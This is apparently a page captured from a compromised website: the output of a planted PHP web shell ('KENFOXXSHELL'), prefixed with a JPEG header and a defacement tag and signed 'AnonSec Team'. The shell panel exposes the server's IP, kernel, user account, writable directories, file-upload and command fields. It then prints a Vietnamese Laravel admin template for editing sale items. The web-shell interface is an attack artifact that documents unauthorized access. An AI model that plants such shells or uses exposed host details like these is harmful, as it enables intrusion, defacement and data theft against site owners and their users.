ÿØÿàJFIFHHÿÛC     ÿÛC  ÿÂ"ÿÄÿÄÿÚ ±5¬€ÿÄàÿÚÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÄàÿÚ?!ÿÚ ÿÄÀÿÚ?ÿÄÀÿÚ?ÿÄàÿÚ?ÿÙ Donat Was Here
KENFOXXSHELL
Server IP : 160.25.81.117  /  Your IP : 216.73.216.137
Web Server : Apache/2
System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : bellizen ( 1045)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bellizen/public_html/resources/views/admin/sale/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bellizen/public_html/resources/views/admin/sale/edit.blade.php
@extends('admin.master')

@section('content')

@section('controller','Sale')

@section('action','Edit')

<!-- Content Header (Page header) -->

<section class="content-header">

  <h1>

   	@yield('controller')

    <small>@yield('action')</small>

  </h1>

  <ol class="breadcrumb">

    <li><a href="admin"><i class="fa fa-dashboard"></i> Home</a></li>

    <li><a href="javascript:">@yield('controller')</a></li>

    <li class="active">@yield('action')</li>

  </ol>

</section>





<!-- Main content -->

<section class="content">

  

    <div class="box">

    	@include('admin.messages_error')

        <div class="box-body">

        	<form method="post" name="frmEditProduct" action="admin/sale/edit?id={{$id}}" enctype="multipart/form-data">

        		<input type="hidden" name="_token" value="{!! csrf_token() !!}" />

        		

      			<div class="nav-tabs-custom">

	                <ul class="nav nav-tabs">

	                  	<li class="active"><a href="#tab_1" data-toggle="tab" aria-expanded="false">Thông tin chung</a></li>

	                </ul>

	                <div class="tab-content">

	                  	<div class="tab-pane active" id="tab_1">

	                  		<div class="row">

		                  		<div class="col-md-6 col-xs-12">

									

							    	<div class="form-group @if ($errors->first('txtName')!='') has-error @endif">

								      	<label for="ten">Tiêu đỠ(Tiếng việt)</label>

								      	<input type="text" name="txtName" id="txtName" value="{{ $data->name }}"  class="form-control" />

								      	@if ($errors->first('txtName')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName'); !!}</label>

								      	@endif

									</div>

                                    <div class="form-group @if ($errors->first('txtName_eg')!='') has-error @endif">

								      	<label for="ten">Tiêu đỠ(Tiếng việt)</label>

								      	<input type="text" name="txtName_eg" id="txtName_eg" value="{{ $data->name_eg }}"  class="form-control" />

								      	@if ($errors->first('txtName_eg')!='')

								      	<label class="control-label" for="inputError"><i class="fa fa-times-circle-o"></i> {!! $errors->first('txtName_eg'); !!}</label>

								      	@endif

									</div>

								    <div class="form-group hidden">

								      	<label for="ten">Giá bán</label>

								      	<input type="text" name="txtPrice" onkeyup="FormatNumber(this);"  onKeyPress="return isNumberKey(event)" value="{{ number_format($data->price,0,'',',') }}"  class="form-control" />

									</div>

								</div>

                                <div class="col-md-6 col-xs-12">

                                    <div class="form-group">

    							      	<label for="ten">Thuộc gói sản phẩm</label>

    							      	<select name="pro_id" class="form-control">

    							      		<option value="0">Chá»n danh</option>

    							      		<?php $pro = DB::table("products")->select('name','id')->where('type',null)->get();

                                            foreach($pro as $rows){  

                                            ?>      
                                             <option value="{{ $rows->id }}" <?php if($data->pro_id == $rows->id){echo 'selected';}?>>{{ $rows->name }}</option>
                                            <?php } ?>   
    							      	</select>

    								</div>

                                </div>

								

							</div>

							<div class="clearfix"></div>

	                  	</div><!-- /.tab-pane -->



	                </div><!-- /.tab-content -->
                    <!---- thông số --->
                     <div id="price">
                                   
                                     <div class="col-md-6 col-xs-12">
                                        <h2 class="mate">Chất liệu</h2>
                                       <?php 
                                            $i=0;
                                            $chatlieu=DB::table('materials')->select()->orderBy('id','ASC')->orderBy('stt','asc')->get();
                                            foreach($chatlieu as $k=>$pri){
                                            $arr_mate=explode(',',$pri->sale_id);   
                                             foreach($arr_mate as $g=>$iteam_arr){ 
                                             if($iteam_arr == $data->id){  
                                              $i++;
                                        ?>
                                            <div class="cauhinh">
                                                    <input readonly="" type="hidden" name="id_chatlieu[]" value="<?php echo $pri->id?>"  />
                                                    <input readonly="" placeholder="Chất liệu" value="<?= $pri->name?>" class="form-control mbot"  type="text" /> 
                                                    <?php
                                                        $type=DB::table('typematerials')->select()->orderBy('id','ASC')->where('sale_id',$data->id)->where('chatlieu_id',$pri->id)->first();
                                                       if(!empty($type)){
                                                    ?>
                                                        <input placeholder="Id type Chất liệu"  name="id_type[]" value="{{ $type->id }}" class="form-control tygia"  type="hidden" />
                                                        <?php if( $i == 1){ ?>
                                                         <input placeholder="Äầu cánh"  name="tygia[]" value="1" class="form-control tygia"  type="hidden" />
                                                        <?php }else{?>
                                                         <input placeholder="Gấp bao lần số trước"  name="tygia[]" value="<?= $type->price?>" class="form-control tygia"  type="text" />
                                                        <?php } ?>
                                                     <?php }else{ ?>
                                                        <?php if( $i == 1){ ?>
                                                         <input placeholder="Äầu cánh"  name="tygia[]" value="1" class="form-control tygia"  type="hidden" />
                                                        <?php }else{ ?>
                                                         <input placeholder="Gấp bao lần số trước"  name="tygia[]" value="1" class="form-control tygia"  type="text" />
                                                        <?php } ?>
                                                    <?php } ?>
                                                    
                                            </div>
                                        <?php }}} ?>
                                        <div style="clear: both;"></div>
                                     </div>
                                        <div class="col-md-6 col-xs-12">
                                            <h2 class="mate">Size</h2>
                                            <div class="price_size">
                                           <?php
                                            $size=DB::table('sizes')->select()->orderBy('id','ASC')->orderBy('stt','asc')->get();
                                            foreach($size as $c=>$item_size){
                                                $arr_exp=explode(',',$item_size->sale_id);
                                                foreach($arr_exp as $item_cl){
                                                if($item_cl == $data->id){
                                            ?>
                                                <div class="cauhinh">
                                                    <input type="hidden" name="id_size_txt_update[]" value="<?php echo $item_size->id?>"  />
                                                    <div class="col-md-4 col-xs-12">
                                                        <input readonly="" placeholder="Size" name="size_txt_update[]" value="<?= $item_size->name?>" class="form-control add-100-w" type="text">
                                                    </div>
                                                    <div class="col-md-4 col-xs-12">
                                                        
                                                        <!-- thông type mate id_price -->
                                                        <?php 
                                                           @$price=DB::table('prices')->select('price','id','name')->where('size_id',$item_size->id)->where('sale_id',$data->id)->first(); 
                                                           if($c > 1){ 
                                                        ?>
                                                             <?php if(!empty($price)){ ?>
                                                                <input placeholder="Id Price"  name="id_price[]" value="<?php echo $price->id?>" class="form-control tygia"  type="hidden" />
                                                                <input required="" placeholder="Tỷ lệ" name="price_txt_update[]" value="<?= $price->name?>" class="form-control add-100-w" type="text"/>
                                                             <?php }else{ ?>
                                                                <input required="" placeholder="Tỷ lệ" name="price_txt_update[]" class="form-control add-100-w" type="text"/>
                                                             <?php } ?>   
                                                        <?php }else{ ?>
                                                             <?php if(!empty($price)){ ?>
                                                                <input placeholder="Id Price"  name="id_price[]" value="<?php echo $price->id?>" class="form-control tygia"  type="hidden" />
                                                                <input required="" placeholder="Giá gốc" name="price_txt_update[]" value="<?= $price->name?>" class="form-control add-100-w" type="text"/>
                                                             <?php }else{ ?>
                                                                <input required="" placeholder="Giá gốc" name="price_txt_update[]" class="form-control add-100-w" type="text"/>
                                                             <?php } ?>   
                                                        <?php } ?>
                                                    <!-- End thông số type mate -->
                                                    </div>
                                                     <div style="clear: both;"></div>  
                                                </div>
                                            <?php }}} ?>  
                                              <div style="clear: both;"></div>  
                                            </div>
                                        </div>
                                             
                                        <div style="clear: both;"></div>
                                        
                                    
                                  </div>
                                 <div class="col-md-6 col-xs-12">    
                                    <h2 class="mate">Màu sắc</h2>
                                    <?php 
                                         $arr = explode(',',$data->color_id); 
                                         $color = DB::table("colors")->select()->get();
                                         foreach($color as $rows){  
                                    ?>  
                                        <div class="col-xs-1">
                                             <label style="font-weight: 400;cursor: pointer;text-align: center;"><input type="checkbox" name="color_id[]" value="{{ $rows->id }}" <?php  foreach($arr as $k){ if($k == $rows->id){echo 'checked';}  } ?>  /> <img style="width: 100%;" src="{{ asset('upload/color/'.$rows->images) }}" /></label>
                                        </div>
                                     <?php } ?>
                                 </div> 
                                
                                 <div style="height: 50px;"></div>
                                   <div style="clear: both;"></div>
                    <!--- thông số ---->
	            </div>

	            <div class="clearfix"></div>

			    

			    <div class="box-footer">

			    	<div class="row">

						<div class="col-md-6">

					    	<button type="submit" class="btn btn-primary">Cập nhật</button>

					    	<button type="button" class="btn btn-danger" onclick="javascript:window.location='admin/sale'">Thoát</button>

				    	</div>

			    	</div>

			  	</div>

		    </form>

        </div><!-- /.box-body -->

    </div><!-- /.box -->

    

</section><!-- /.content -->



@endsection()


Anon7 - 2022
AnonSec Team